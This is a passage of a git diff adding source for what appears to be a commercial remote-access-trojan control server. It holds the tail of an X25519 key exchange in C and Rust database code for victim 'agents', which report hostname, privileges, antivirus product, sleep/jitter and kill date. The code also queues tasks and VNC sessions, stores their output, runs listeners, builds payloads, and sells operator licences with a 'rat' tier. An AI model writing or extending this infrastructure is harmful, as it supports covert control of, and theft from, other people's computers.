>= 0; pos--) { + b = (e[pos >> 3] >> (pos & 7)) & 1; + swap ^= b; + fe_cswap(x2, x3, swap); + fe_cswap(z2, z3, swap); + swap = b; + + fe_sub(tmp0, x3, z3); + fe_sub(tmp1, x2, z2); + fe_add(x2, x2, z2); + fe_add(z2, x3, z3); + + fe_mul(z3, tmp0, x2); + fe_mul(z2, z2, tmp1); + + fe_sq(tmp0, tmp1); + fe_sq(tmp1, x2); + + fe_add(x3, z3, z2); + fe_sub(z2, z3, z2); + + fe_mul(x2, tmp1, tmp0); + fe_sub(tmp1, tmp1, tmp0); + fe_sq(z2, z2); + fe_mul(z3, fe_a24, tmp1); + fe_add(tmp0, tmp0, z3); + fe_mul(z3, x1, z2); + fe_mul(z2, tmp1, tmp0); + fe_sq(x3, x3); + } + + fe_cswap(x2, x3, swap); + fe_cswap(z2, z3, swap); + + fe_invert(z2, z2); + fe_mul(x2, x2, z2); + fe_tobytes(out, x2); +} + +// Basepoint: 9 +static const uint8_t basepoint[32] = { 9 }; + +void x25519_clamp(uint8_t key[32]) { + key[0] &= 248; + key[31] &= 127; + key[31] |= 64; +} + +int x25519_keygen(uint8_t privkey[32], uint8_t pubkey[32]) { + if (crypto_random_bytes(privkey, 32) != 0) return -1; + x25519_clamp(privkey); + x25519_scalarmult(pubkey, privkey, basepoint); + return 0; +} + +int x25519_shared_secret(const uint8_t privkey[32], + const uint8_t peer_pubkey[32], + uint8_t shared[32]) { + x25519_scalarmult(shared, privkey, peer_pubkey); + + // Check for all-zero output (low-order point attack) + uint8_t zero_check = 0; + int i; + for (i = 0; i < 32; i++) zero_check |= shared[i]; + if (zero_check == 0) return -1; + + return 0; +} diff --git a/src/db/mod.rs b/src/db/mod.rs new file mode 100755 index 0000000..e81a0f1 --- /dev/null +++ b/src/db/mod.rs @@ -0,0 +1,4 @@ +pub mod schema; +pub mod queries; + +pub use schema::initialize_database; diff --git a/src/db/queries.rs b/src/db/queries.rs new file mode 100755 index 0000000..7be0e46 --- /dev/null +++ b/src/db/queries.rs @@ -0,0 +1,1295 @@ +use base64::Engine as _; +use sha2::{Digest, Sha256}; +use sqlx::PgPool; + +use crate::protocol::{CheckIn, Task, TaskResult}; + +// ============================================================================ +// Operators +// ============================================================================ + +pub async fn create_operator( + pool: &PgPool, + username: &str, + password_hash: &str, + role: &str, +) -> Result<(), sqlx::Error> { + sqlx::query( + "INSERT INTO operators (username, password_hash, role) VALUES ($1, $2, $3) + ON CONFLICT(username) DO NOTHING" + ) + .bind(username) + .bind(password_hash) + .bind(role) + .execute(pool) + .await?; + Ok(()) +} + +/// Try to create an operator. Returns Ok(true) on success, Ok(false) if the +/// username already exists (UNIQUE constraint violation). +pub async fn try_create_operator( + pool: &PgPool, + username: &str, + password_hash: &str, + role: &str, +) -> Result { + let result = sqlx::query( + "INSERT INTO operators (username, password_hash, role) VALUES ($1, $2, $3)", + ) + .bind(username) + .bind(password_hash) + .bind(role) + .execute(pool) + .await; + + match result { + Ok(_) => Ok(true), + Err(sqlx::Error::Database(ref db_err)) if db_err.message().contains("duplicate key") => Ok(false), + Err(e) => Err(e), + } +} + +pub async fn get_operator_password_hash( + pool: &PgPool, + username: &str, +) -> Result, sqlx::Error> { + let row: Option<(String,)> = + sqlx::query_as("SELECT password_hash FROM operators WHERE username = $1") + .bind(username) + .fetch_optional(pool) + .await?; + Ok(row.map(|r| r.0)) +} + +// ============================================================================ +// License Keys +// ============================================================================ + +/// Activate a license key for a user. If the key already exists and was +/// activated by the same user, allow re-authentication. If activated by +/// a different user, reject. Checks revocation status and tracks use_count. +/// Returns true if the key was previously unregistered (not pre-inserted via admin). +pub async fn activate_license_key( + pool: &PgPool, + key_id: &str, + created_at: i64, + expires_at: i64, + username: &str, + activation_ip: &str, +) -> Result { + // Check if key already exists + let existing: Option<(Option, i64)> = + sqlx::query_as("SELECT activated_by, revoked FROM license_keys WHERE key_id = $1") + .bind(key_id) + .fetch_optional(pool) + .await + .map_err(|e| format!("database error: {}", e))?; + + match existing { + Some((_, 1)) => { + Err("license key has been revoked".into()) + } + Some((Some(activated_by), _)) => { + // Already activated — allow only if same user + if activated_by == username { + sqlx::query( + "UPDATE license_keys SET use_count = use_count + 1, activation_ip = $1 WHERE key_id = $2", + ) + .bind(activation_ip) + .bind(key_id) + .execute(pool) + .await + .map_err(|e| format!("database error: {}", e))?; + Ok(false) + } else { + Err("license key already redeemed".into()) + } + } + Some((None, _)) => { + // Key exists but not activated (pre-inserted via admin panel) + sqlx::query( + "UPDATE license_keys SET activated_by = $1, activated_at = CURRENT_TIMESTAMP, use_count = use_count + 1, activation_ip = $2 WHERE key_id = $3", + ) + .bind(username) + .bind(activation_ip) + .bind(key_id) + .execute(pool) + .await + .map_err(|e| format!("database error: {}", e))?; + Ok(false) + } + None => { + // New key — not pre-registered (unregistered activation) + sqlx::query( + "INSERT INTO license_keys (key_id, created_at, expires_at, activated_by, activated_at, activation_ip, use_count) + VALUES ($1, $2, $3, $4, CURRENT_TIMESTAMP, $5, 1)", + ) + .bind(key_id) + .bind(created_at) + .bind(expires_at) + .bind(username) + .bind(activation_ip) + .execute(pool) + .await + .map_err(|e| format!("database error: {}", e))?; + Ok(true) + } + } +} + +/// Get the latest license expiry timestamp for a given operator. +pub async fn get_operator_license_expiry( + pool: &PgPool, + username: &str, +) -> Result, sqlx::Error> { + let row: Option<(i64,)> = sqlx::query_as( + "SELECT MAX(expires_at) FROM license_keys WHERE activated_by = $1 AND revoked = 0", + ) + .bind(username) + .fetch_optional(pool) + .await?; + Ok(row.map(|r| r.0)) +} + +/// Get the role for an operator. +pub async fn get_operator_role( + pool: &PgPool, + username: &str, +) -> Result, sqlx::Error> { + let row: Option<(String,)> = + sqlx::query_as("SELECT role FROM operators WHERE username = $1") + .bind(username) + .fetch_optional(pool) + .await?; + Ok(row.map(|r| r.0)) +} + +/// Record type for admin operator listing. +#[derive(Debug, Clone, serde::Serialize)] +pub struct OperatorRecord { + pub id: i64, + pub username: String, + pub role: String, + pub created_at: String, +} + +/// List all operators. +pub async fn get_all_operators(pool: &PgPool) -> Result, sqlx::Error> { + let rows: Vec<(i64, String, String, String)> = + sqlx::query_as("SELECT id, username, role, created_at FROM operators ORDER BY id") + .fetch_all(pool) + .await?; + Ok(rows + .into_iter() + .map(|r| OperatorRecord { + id: r.0, + username: r.1, + role: r.2, + created_at: r.3, + }) + .collect()) +} + +/// Record type for admin license key listing. +#[derive(Debug, Clone, serde::Serialize)] +pub struct LicenseKeyRecord { + pub key_id: String, + pub created_at: i64, + pub expires_at: i64, + pub activated_by: Option, + pub activated_at: Option, + pub revoked: bool, + pub revoked_at: Option, + pub revoked_by: Option, + pub activation_ip: Option, + pub use_count: i64, + pub max_agents: i64, + pub generated_by: String, + pub status: String, + pub tier: String, +} + +/// List all license keys with computed status. +pub async fn get_all_license_keys(pool: &PgPool) -> Result, sqlx::Error> { + let rows: Vec<(String, i64, i64, Option, Option, i64, Option, Option, Option, i64, i64, String, String)> = + sqlx::query_as( + "SELECT key_id, created_at, expires_at, activated_by, activated_at, + revoked, revoked_at, revoked_by, activation_ip, use_count, + max_agents, generated_by, tier + FROM license_keys ORDER BY created_at DESC", + ) + .fetch_all(pool) + .await?; + + let now = chrono::Utc::now().timestamp(); + Ok(rows + .into_iter() + .map(|r| { + let revoked = r.5 != 0; + let status = if revoked { + "revoked".to_string() + } else if r.2 <= now { + "expired".to_string() + } else if r.3.is_some() { + "active".to_string() + } else { + "unused".to_string() + }; + LicenseKeyRecord { + key_id: r.0, + created_at: r.1, + expires_at: r.2, + activated_by: r.3, + activated_at: r.4, + revoked, + revoked_at: r.6, + revoked_by: r.7, + activation_ip: r.8, + use_count: r.9, + max_agents: r.10, + generated_by: r.11, + status, + tier: r.12, + } + }) + .collect()) +} + +/// Revoke a license key. Returns false if key not found or already revoked. +pub async fn revoke_license_key( + pool: &PgPool, + key_id: &str, + revoked_by: &str, +) -> Result { + let result = sqlx::query( + "UPDATE license_keys SET revoked = 1, revoked_at = CURRENT_TIMESTAMP, revoked_by = $1 + WHERE key_id = $2 AND revoked = 0", + ) + .bind(revoked_by) + .bind(key_id) + .execute(pool) + .await?; + Ok(result.rows_affected() > 0) +} + +/// Delete revoked keys older than the given age (in seconds). +pub async fn purge_revoked_keys( + pool: &PgPool, + max_age_secs: i64, +) -> Result { + let result = sqlx::query( + "DELETE FROM license_keys WHERE revoked = 1 AND revoked_at IS NOT NULL + AND EXTRACT(EPOCH FROM (CURRENT_TIMESTAMP - revoked_at::timestamptz)) >= $1", + ) + .bind(max_age_secs) + .execute(pool) + .await?; + Ok(result.rows_affected()) +} + +/// Pre-insert a license key record at generation time (before activation). +pub async fn insert_license_key_record( + pool: &PgPool, + key_id: &str, + created_at: i64, + expires_at: i64, + max_agents: i64, + generated_by: &str, +) -> Result<(), sqlx::Error> { + sqlx::query( + "INSERT INTO license_keys (key_id, created_at, expires_at, max_agents, generated_by) + VALUES ($1, $2, $3, $4, $5)", + ) + .bind(key_id) + .bind(created_at) + .bind(expires_at) + .bind(max_agents) + .bind(generated_by) + .execute(pool) + .await?; + Ok(()) +} + +/// Set the tier on a license key. +pub async fn set_license_key_tier( + pool: &PgPool, + key_id: &str, + tier: &str, +) -> Result<(), sqlx::Error> { + sqlx::query("UPDATE license_keys SET tier = $2 WHERE key_id = $1") + .bind(key_id) + .bind(tier) + .execute(pool) + .await?; + Ok(()) +} + +/// Get the tier from a license key. +pub async fn get_license_key_tier( + pool: &PgPool, + key_id: &str, +) -> Result { + let row: Option<(String,)> = + sqlx::query_as("SELECT tier FROM license_keys WHERE key_id = $1") + .bind(key_id) + .fetch_optional(pool) + .await?; + Ok(row.map(|r| r.0).unwrap_or_else(|| "rat".to_string())) +} + +/// Set the tier on an operator (called during license activation). +pub async fn set_operator_tier( + pool: &PgPool, + username: &str, + tier: &str, +) -> Result<(), sqlx::Error> { + sqlx::query("UPDATE operators SET tier = $2 WHERE username = $1") + .bind(username) + .bind(tier) + .execute(pool) + .await?; + Ok(()) +} + +/// Get the tier for an operator. +pub async fn get_operator_tier( + pool: &PgPool, + username: &str, +) -> Result { + let row: Option<(String,)> = + sqlx::query_as("SELECT tier FROM operators WHERE username = $1") + .bind(username) + .fetch_optional(pool) + .await?; + Ok(row.map(|r| r.0).unwrap_or_else(|| "rat".to_string())) +} + +/// Extend the license for an operator by adding seconds to their most recent active key. +/// If `new_expires_at` is provided, sets it directly. Otherwise adds `add_seconds` to current expiry. +pub async fn extend_operator_license( + pool: &PgPool, + username: &str, + add_seconds: i64, +) -> Result { + // Find the latest active (non-revoked) key for this operator + let key: Option<(String, i64)> = sqlx::query_as( + "SELECT key_id, expires_at FROM license_keys + WHERE activated_by = $1 AND revoked = 0 + ORDER BY expires_at DESC LIMIT 1", + ) + .bind(username) + .fetch_optional(pool) + .await?; + + match key { + Some((key_id, current_expires)) => { + let new_expires = if add_seconds >= 4294967295 { + // Lifetime + 4294967295_i64 + } else { + current_expires + add_seconds + }; + sqlx::query("UPDATE license_keys SET expires_at = $1 WHERE key_id = $2") + .bind(new_expires) + .bind(&key_id) + .execute(pool) + .await?; + Ok(true) + } + None => Ok(false), + } +} + +/// Update the tier on all active license keys for an operator, and on the operator record itself. +pub async fn set_operator_license_tier( + pool: &PgPool, + username: &str, + tier: &str, +) -> Result { + // Update operator record + sqlx::query("UPDATE operators SET tier = $2 WHERE username = $1") + .bind(username) + .bind(tier) + .execute(pool) + .await?; + + // Update all active license keys for this operator + let result = sqlx::query( + "UPDATE license_keys SET tier = $2 WHERE activated_by = $1 AND revoked = 0", + ) + .bind(username) + .bind(tier) + .execute(pool) + .await?; + + Ok(result.rows_affected() > 0) +} + +/// Check if a key_id already exists in the database. +pub async fn check_key_exists(pool: &PgPool, key_id: &str) -> Result { + let row: Option<(i64,)> = + sqlx::query_as("SELECT 1::bigint FROM license_keys WHERE key_id = $1") + .bind(key_id) + .fetch_optional(pool) + .await?; + Ok(row.is_some()) +} + +/// Insert an audit log entry. +pub async fn insert_license_audit( + pool: &PgPool, + event_type: &str, + key_id: Option<&str>, + username: Option<&str>, + ip_address: Option<&str>, + details: &str, +) -> Result<(), sqlx::Error> { + sqlx::query( + "INSERT INTO license_audit_log (event_type, key_id, username, ip_address, details) + VALUES ($1, $2, $3, $4, $5)", + ) + .bind(event_type) + .bind(key_id) + .bind(username) + .bind(ip_address) + .bind(details) + .execute(pool) + .await?; + Ok(()) +} + +// ============================================================================ +// Chat (uses tasks + task_results filtered by command='chat') +// ============================================================================ + +#[derive(Debug, Clone, serde::Serialize)] +pub struct ChatMessage { + pub id: String, + pub direction: String, // "operator" or "agent" + pub sender: String, + pub message: String, + pub timestamp: String, +} + +/// Get chat history for an agent by querying tasks with command='chat' +/// and their corresponding results. +pub async fn get_chat_messages( + pool: &PgPool, + agent_id: &str, +) -> Result, sqlx::Error> { + // Fetch all chat tasks + let tasks: Vec<(String, String, String, String)> = sqlx::query_as( + "SELECT task_id, args, operator, created_at + FROM tasks WHERE agent_id = $1 AND command = 'chat' + ORDER BY created_at ASC", + ) + .bind(agent_id) + .fetch_all(pool) + .await?; + + let mut messages = Vec::new(); + + for (task_id, args_json, operator, created_at) in &tasks { + // Parse the operator's message from args + let args: Vec = serde_json::from_str(args_json).unwrap_or_default(); + let msg_text = args.first().cloned().unwrap_or_default(); + + messages.push(ChatMessage { + id: format!("{}-op", task_id), + direction: "operator".to_string(), + sender: operator.clone(), + message: msg_text, + timestamp: created_at.clone(), + }); + + // Check for a response (task result) + let result: Option<(String, String)> = sqlx::query_as( + "SELECT output, received_at FROM task_results + WHERE task_id = $1 AND agent_id = $2 LIMIT 1", + ) + .bind(task_id) + .bind(agent_id) + .fetch_optional(pool) + .await?; + + if let Some((output, received_at)) = result { + if !output.is_empty() { + messages.push(ChatMessage { + id: format!("{}-agent", task_id), + direction: "agent".to_string(), + sender: "agent".to_string(), + message: output, + timestamp: received_at, + }); + } + } + } + + Ok(messages) +} + +// ============================================================================ +// Agents +// ============================================================================ + +pub async fn upsert_agent( + pool: &PgPool, + checkin: &CheckIn, + listener_id: &str, + external_ip: &str, + owner: &str, +) -> Result<(), sqlx::Error> { + sqlx::query( + "INSERT INTO agents ( + agent_id, hostname, username, domain, internal_ip, pid, ppid, + os_version, arch, process_name, elevated, integrity_level, + sleep_interval, jitter_percent, kill_date, status, listener_id, external_ip, owner, av_product + ) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, 'alive', $16, $17, $18, $19) + ON CONFLICT(agent_id) DO UPDATE SET + hostname = excluded.hostname, + username = excluded.username, + domain = excluded.domain, + internal_ip = excluded.internal_ip, + pid = excluded.pid, + ppid = excluded.ppid, + os_version = excluded.os_version, + arch = excluded.arch, + process_name = excluded.process_name, + elevated = excluded.elevated, + integrity_level = excluded.integrity_level, + sleep_interval = excluded.sleep_interval, + jitter_percent = excluded.jitter_percent, + kill_date = excluded.kill_date, + av_product = excluded.av_product, + status = 'alive', + last_seen = CURRENT_TIMESTAMP", + ) + .bind(&checkin.agent_id) + .bind(&checkin.hostname) + .bind(&checkin.username) + .bind(&checkin.domain) + .bind(&checkin.internal_ip) + .bind(checkin.pid as i64) + .bind(checkin.ppid as i64) + .bind(&checkin.os_version) + .bind(&checkin.arch) + .bind(&checkin.process_name) + .bind(checkin.elevated as i64) + .bind(checkin.integrity_level as i64) + .bind(checkin.sleep_interval as i64) + .bind(checkin.jitter_percent as i64) + .bind(checkin.kill_date) + .bind(listener_id) + .bind(external_ip) + .bind(owner) + .bind(&checkin.av_product) + .execute(pool) + .await?; + Ok(()) +} + +pub async fn update_agent_status( + pool: &PgPool, + agent_id: &str, + status: &str, +) -> Result<(), sqlx::Error> { + sqlx::query("UPDATE agents SET status = $1 WHERE agent_id = $2") + .bind(status) + .bind(agent_id) + .execute(pool) + .await?; + Ok(()) +} + +/// Delete an agent and all associated data (session keys, tags, tasks, results). +pub async fn delete_agent( + pool: &PgPool, + agent_id: &str, +) -> Result { + let mut tx = pool.begin().await?; + + // Delete dependent records first + sqlx::query("DELETE FROM agent_tags WHERE agent_id = $1") + .bind(agent_id) + .execute(&mut *tx) + .await?; + sqlx::query("DELETE FROM task_results WHERE agent_id = $1") + .bind(agent_id) + .execute(&mut *tx) + .await?; + sqlx::query("DELETE FROM tasks WHERE agent_id = $1") + .bind(agent_id) + .execute(&mut *tx) + .await?; + sqlx::query("DELETE FROM session_keys WHERE agent_id = $1") + .bind(agent_id) + .execute(&mut *tx) + .await?; + + let result = sqlx::query("DELETE FROM agents WHERE agent_id = $1") + .bind(agent_id) + .execute(&mut *tx) + .await?; + + tx.commit().await?; + Ok(result.rows_affected() > 0) +} + +/// Ban an agent (reject future check-ins). +pub async fn ban_agent(pool: &PgPool, agent_id: &str) -> Result { + let result = sqlx::query("UPDATE agents SET banned = 1 WHERE agent_id = $1") + .bind(agent_id) + .execute(pool) + .await?; + Ok(result.rows_affected() > 0) +} + +/// Unban an agent (allow check-ins again). +pub async fn unban_agent(pool: &PgPool, agent_id: &str) -> Result { + let result = sqlx::query("UPDATE agents SET banned = 0 WHERE agent_id = $1") + .bind(agent_id) + .execute(pool) + .await?; + Ok(result.rows_affected() > 0) +} + +/// Check if an agent is banned. +pub async fn is_agent_banned(pool: &PgPool, agent_id: &str) -> Result { + let row: Option<(i64,)> = + sqlx::query_as("SELECT banned FROM agents WHERE agent_id = $1") + .bind(agent_id) + .fetch_optional(pool) + .await?; + Ok(row.map(|r| r.0 != 0).unwrap_or(false)) +} + +pub async fn update_agent_last_seen( + pool: &PgPool, + agent_id: &str, +) -> Result<(), sqlx::Error> { + sqlx::query("UPDATE agents SET last_seen = CURRENT_TIMESTAMP, status = 'alive' WHERE agent_id = $1") + .bind(agent_id) + .execute(pool) + .await?; + Ok(()) +} + +/// Fetch all agents from the database (used on startup to repopulate memory). +/// Returns (CheckIn, listener_id, external_ip, owner) tuples. +pub async fn get_all_agents( + pool: &PgPool, +) -> Result, sqlx::Error> { + // sqlx tuple FromRow supports up to 16 columns, so we split into two queries. + // First: core agent fields (15 columns). + let rows: Vec<(String, String, String, String, String, i64, i64, String, String, String, i64, i64, i64, i64, i64)> = sqlx::query_as( + "SELECT agent_id, hostname, username, domain, internal_ip, pid, ppid, + os_version, arch, process_name, elevated, integrity_level, + sleep_interval, jitter_percent, kill_date + FROM agents", + ) + .fetch_all(pool) + .await?; + + let mut result = Vec::with_capacity(rows.len()); + for r in rows { + let agent_id = r.0.clone(); + let mut checkin = crate::protocol::CheckIn { + agent_id: r.0, + hostname: r.1, + username: r.2, + domain: r.3, + internal_ip: r.4, + pid: r.5 as u32, + ppid: r.6 as u32, + os_version: r.7, + arch: r.8, + process_name: r.9, + elevated: r.10 != 0, + integrity_level: r.11 as u32, + sleep_interval: r.12 as u32, + jitter_percent: r.13 as u32, + kill_date: r.14, + av_product: String::new(), + }; + // Fetch metadata + timestamps separately to stay within tuple size limits. + let meta: Option<(String, String, String, String, String, String)> = + sqlx::query_as("SELECT listener_id, external_ip, owner, first_seen::text, last_seen::text, av_product FROM agents WHERE agent_id = $1") + .bind(&agent_id) + .fetch_optional(pool) + .await?; + let (listener_id, external_ip, owner, first_seen, last_seen, av_product) = meta.unwrap_or_default(); + checkin.av_product = av_product; + result.push((checkin, listener_id, external_ip, owner, first_seen, last_seen)); + } + + Ok(result) +} + +/// Look up which operator built the payload that matches a given agent pubkey hash. +/// Computes SHA256 of each payload's `agent_pubkey` and compares with the provided hash. +// PERF: O(n) scan over all payloads — should be optimized with a pre-computed +// index (e.g. a `pubkey_hash` column populated at build time) if the payloads +// table grows large. +pub async fn lookup_payload_owner_by_pubkey_hash( + pool: &PgPool, + pubkey_hash: &[u8], +) -> Option { + let rows: Vec<(String, String)> = sqlx::query_as( + "SELECT agent_pubkey, built_by FROM payloads", + ) + .fetch_all(pool) + .await + .ok()?; + + for (agent_pubkey_hex, built_by) in rows { + if let Some(pubkey_bytes) = hex_decode(&agent_pubkey_hex) { + let hash = Sha256::digest(&pubkey_bytes); + if hash.as_slice() == pubkey_hash { + return Some(built_by); + } + } + } + + None +} + +/// Decode a hex string to bytes. Returns None on invalid input. +fn hex_decode(s: &str) -> Option> { + if s.len() % 2 != 0 { + return None; + } + (0..s.len()) + .step_by(2) + .map(|i| u8::from_str_radix(&s[i..i + 2], 16).ok()) + .collect() +} + +/// Fetch all session keys from the database (used on startup to repopulate memory). +pub async fn get_all_session_keys( + pool: &PgPool, +) -> Result)>, sqlx::Error> { + let rows: Vec<(String, Vec)> = + sqlx::query_as("SELECT agent_id, session_key FROM session_keys") + .fetch_all(pool) + .await?; + Ok(rows) +} + +// ============================================================================ +// Session Keys +// ============================================================================ + +pub async fn store_session_key( + pool: &PgPool, + agent_id: &str, + session_key: &[u8; 32], +) -> Result<(), sqlx::Error> { + sqlx::query( + "INSERT INTO session_keys (agent_id, session_key) VALUES ($1, $2) + ON CONFLICT(agent_id) DO UPDATE SET session_key = excluded.session_key, created_at = CURRENT_TIMESTAMP", + ) + .bind(agent_id) + .bind(session_key.as_slice()) + .execute(pool) + .await?; + Ok(()) +} + +// ============================================================================ +// Tasks +// ============================================================================ + +pub async fn insert_task( + pool: &PgPool, + agent_id: &str, + task: &Task, + operator: &str, +) -> Result<(), sqlx::Error> { + let args_json = serde_json::to_string(&task.args).unwrap_or_else(|_| "[]".to_string()); + sqlx::query( + "INSERT INTO tasks (task_id, agent_id, command, args, data, timeout, operator) + VALUES ($1, $2, $3, $4, $5, $6, $7)", + ) + .bind(&task.task_id) + .bind(agent_id) + .bind(&task.command) + .bind(&args_json) + .bind(task.data.as_slice()) + .bind(task.timeout as i64) + .bind(operator) + .execute(pool) + .await?; + Ok(()) +} + +pub async fn update_task_status( + pool: &PgPool, + task_id: &str, + status: &str, +) -> Result<(), sqlx::Error> { + sqlx::query("UPDATE tasks SET status = $1 WHERE task_id = $2") + .bind(status) + .bind(task_id) + .execute(pool) + .await?; + Ok(()) +} + +/// Fetch all tasks for an agent (for API history). +pub async fn get_tasks_for_agent( + pool: &PgPool, + agent_id: &str, +) -> Result, sqlx::Error> { + let rows: Vec<(String, String, String, String, i64, String, String, String)> = sqlx::query_as( + "SELECT task_id, agent_id, command, args, timeout, status, created_at, operator + FROM tasks WHERE agent_id = $1 ORDER BY created_at DESC LIMIT 1000", + ) + .bind(agent_id) + .fetch_all(pool) + .await?; + + Ok(rows + .into_iter() + .map(|r| { + let args: Vec = serde_json::from_str(&r.3).unwrap_or_default(); + crate::tasks::TaskRecord { + task_id: r.0, + agent_id: r.1, + command: r.2, + args, + timeout: r.4 as u32, + status: r.5, + created_at: r.6, + operator: r.7, + } + }) + .collect()) +} + +// ============================================================================ +// Task Results +// ============================================================================ + +pub async fn insert_task_result( + pool: &PgPool, + agent_id: &str, + result: &TaskResult, +) -> Result<(), sqlx::Error> { + tracing::info!( + task_id = %result.task_id, + agent_id = %agent_id, + data_len = result.data.len(), + "DB: inserting task result with {} bytes of data", + result.data.len() + ); + // Ensure the task exists before inserting its result. The agent may + // report results for internally-generated task IDs (e.g. VNC start/stop) + // that were never stored in the tasks table. Create a placeholder row + // so the FOREIGN KEY constraint is satisfied. + sqlx::query( + "INSERT INTO tasks (task_id, agent_id, command, status) + VALUES ($1, $2, 'agent_internal', 'completed') + ON CONFLICT DO NOTHING", + ) + .bind(&result.task_id) + .bind(agent_id) + .execute(pool) + .await?; + + sqlx::query( + "INSERT INTO task_results (task_id, agent_id, success, output, data, error_code, error_message) + VALUES ($1, $2, $3, $4, $5, $6, $7)", + ) + .bind(&result.task_id) + .bind(agent_id) + .bind(result.success as i64) + .bind(&result.output) + .bind(result.data.as_slice()) + .bind(result.error_code as i64) + .bind(&result.error_message) + .execute(pool) + .await?; + + // Also update the task status + let status = if result.success { "completed" } else { "failed" }; + update_task_status(pool, &result.task_id, status).await?; + + Ok(()) +} + +pub async fn get_results_for_agent( + pool: &PgPool, + agent_id: &str, +) -> Result, sqlx::Error> { + let rows: Vec<(String, String, i64, String, Vec, i64, String, String)> = sqlx::query_as( + "SELECT task_id, agent_id, success, output, data, error_code, error_message, received_at + FROM task_results WHERE agent_id = $1 ORDER BY received_at DESC LIMIT 1000", + ) + .bind(agent_id) + .fetch_all(pool) + .await?; + + tracing::info!( + agent_id = %agent_id, + count = rows.len(), + "DB: fetched {} results for agent", + rows.len() + ); + + Ok(rows + .into_iter() + .map(|r| { + let blob_len = r.4.len(); + let data = if r.4.is_empty() { + None + } else { + Some(base64::engine::general_purpose::STANDARD.encode(&r.4)) + }; + tracing::debug!( + task_id = %r.0, + blob_bytes = blob_len, + has_data = data.is_some(), + "DB: result blob={} bytes, b64={}", + blob_len, + data.as_ref().map(|d| d.len()).unwrap_or(0) + ); + crate::tasks::TaskResultRecord { + task_id: r.0, + agent_id: r.1, + success: r.2 != 0, + output: r.3, + data, + error_code: r.5 as i32, + error_message: r.6, + received_at: r.7, + } + }) + .collect()) +} + +// ============================================================================ +// Events +// ============================================================================ + +pub async fn insert_event( + pool: &PgPool, + event: &crate::events::Event, +) -> Result<(), sqlx::Error> { + sqlx::query( + "INSERT INTO events (event_id, event_type, agent_id, operator, message, timestamp, severity) + VALUES ($1, $2, $3, $4, $5, $6, $7)", + ) + .bind(&event.event_id) + .bind(&event.event_type) + .bind(&event.agent_id) + .bind(&event.operator) + .bind(&event.message) + .bind(event.timestamp) + .bind(&event.severity) + .execute(pool) + .await?; + Ok(()) +} + +pub async fn get_recent_events( + pool: &PgPool, + limit: i64, +) -> Result, sqlx::Error> { + let rows: Vec<(String, String, String, String, String, i64, String)> = sqlx::query_as( + "SELECT event_id, event_type, agent_id, operator, message, timestamp, severity + FROM events ORDER BY timestamp DESC LIMIT $1", + ) + .bind(limit) + .fetch_all(pool) + .await?; + + Ok(rows + .into_iter() + .map(|r| crate::events::Event { + event_id: r.0, + event_type: r.1, + agent_id: r.2, + operator: r.3, + message: r.4, + timestamp: r.5, + severity: r.6, + }) + .collect()) +} + +// ============================================================================ +// Agent Tags +// ============================================================================ + +pub async fn get_agent_tags( + pool: &PgPool, + agent_id: &str, +) -> Result, sqlx::Error> { + let rows: Vec<(String,)> = + sqlx::query_as("SELECT tag FROM agent_tags WHERE agent_id = $1 ORDER BY tag") + .bind(agent_id) + .fetch_all(pool) + .await?; + Ok(rows.into_iter().map(|r| r.0).collect()) +} + +pub async fn set_agent_tags( + pool: &PgPool, + agent_id: &str, + tags: &[String], +) -> Result<(), sqlx::Error> { + let mut tx = pool.begin().await?; + + sqlx::query("DELETE FROM agent_tags WHERE agent_id = $1") + .bind(agent_id) + .execute(&mut *tx) + .await?; + + for tag in tags { + sqlx::query("INSERT INTO agent_tags (agent_id, tag) VALUES ($1, $2) ON CONFLICT DO NOTHING") + .bind(agent_id) + .bind(tag) + .execute(&mut *tx) + .await?; + } + + tx.commit().await?; + Ok(()) +} + +pub async fn get_all_agent_tags( + pool: &PgPool, +) -> Result>, sqlx::Error> { + let rows: Vec<(String, String)> = + sqlx::query_as("SELECT agent_id, tag FROM agent_tags ORDER BY agent_id, tag") + .fetch_all(pool) + .await?; + + let mut map: std::collections::HashMap> = std::collections::HashMap::new(); + for (agent_id, tag) in rows { + map.entry(agent_id).or_default().push(tag); + } + Ok(map) +} + +// ============================================================================ +// Listeners +// ============================================================================ + +#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] +pub struct ListenerRecord { + pub listener_id: String, + pub name: String, + pub protocol: String, + pub bind_address: String, + pub bind_port: u32, + pub active: bool, + pub tls_cert_path: String, + pub tls_key_path: String, + pub created_at: String, +} + +pub async fn insert_listener( + pool: &PgPool, + listener: &ListenerRecord, +) -> Result<(), sqlx::Error> { + sqlx::query( + "INSERT INTO listeners (listener_id, name, protocol, bind_address, bind_port, active, tls_cert_path, tls_key_path) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8)", + ) + .bind(&listener.listener_id) + .bind(&listener.name) + .bind(&listener.protocol) + .bind(&listener.bind_address) + .bind(listener.bind_port as i64) + .bind(listener.active as i64) + .bind(&listener.tls_cert_path) + .bind(&listener.tls_key_path) + .execute(pool) + .await?; + Ok(()) +} + +pub async fn get_listeners(pool: &PgPool) -> Result, sqlx::Error> { + let rows: Vec<(String, String, String, String, i64, i64, String, String, String)> = + sqlx::query_as( + "SELECT listener_id, name, protocol, bind_address, bind_port, active, tls_cert_path, tls_key_path, created_at + FROM listeners ORDER BY created_at DESC", + ) + .fetch_all(pool) + .await?; + + Ok(rows + .into_iter() + .map(|r| ListenerRecord { + listener_id: r.0, + name: r.1, + protocol: r.2, + bind_address: r.3, + bind_port: r.4 as u32, + active: r.5 != 0, + tls_cert_path: r.6, + tls_key_path: r.7, + created_at: r.8, + }) + .collect()) +} + +pub async fn update_listener_active( + pool: &PgPool, + listener_id: &str, + active: bool, +) -> Result<(), sqlx::Error> { + sqlx::query("UPDATE listeners SET active = $1 WHERE listener_id = $2") + .bind(active as i64) + .bind(listener_id) + .execute(pool) + .await?; + Ok(()) +} + +// ============================================================================ +// Payloads +// ============================================================================ + +#[derive(Debug, Clone, serde::Serialize, serde::Deserialize)] +pub struct PayloadRecord { + pub payload_id: String, + pub name: String, + pub config_json: String, + pub file_path: String, + pub file_size: i64, + pub agent_pubkey: String, + pub built_by: String, + pub built_at: String, + pub status: String, +} + +pub async fn insert_payload( + pool: &PgPool, + payload: &PayloadRecord, +) -> Result<(), sqlx::Error> { + sqlx::query( + "INSERT INTO payloads (payload_id, name, config_json, file_path, file_size, agent_pubkey, built_by, built_at, status) + VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)", + ) + .bind(&payload.payload_id) + .bind(&payload.name) + .bind(&payload.config_json) + 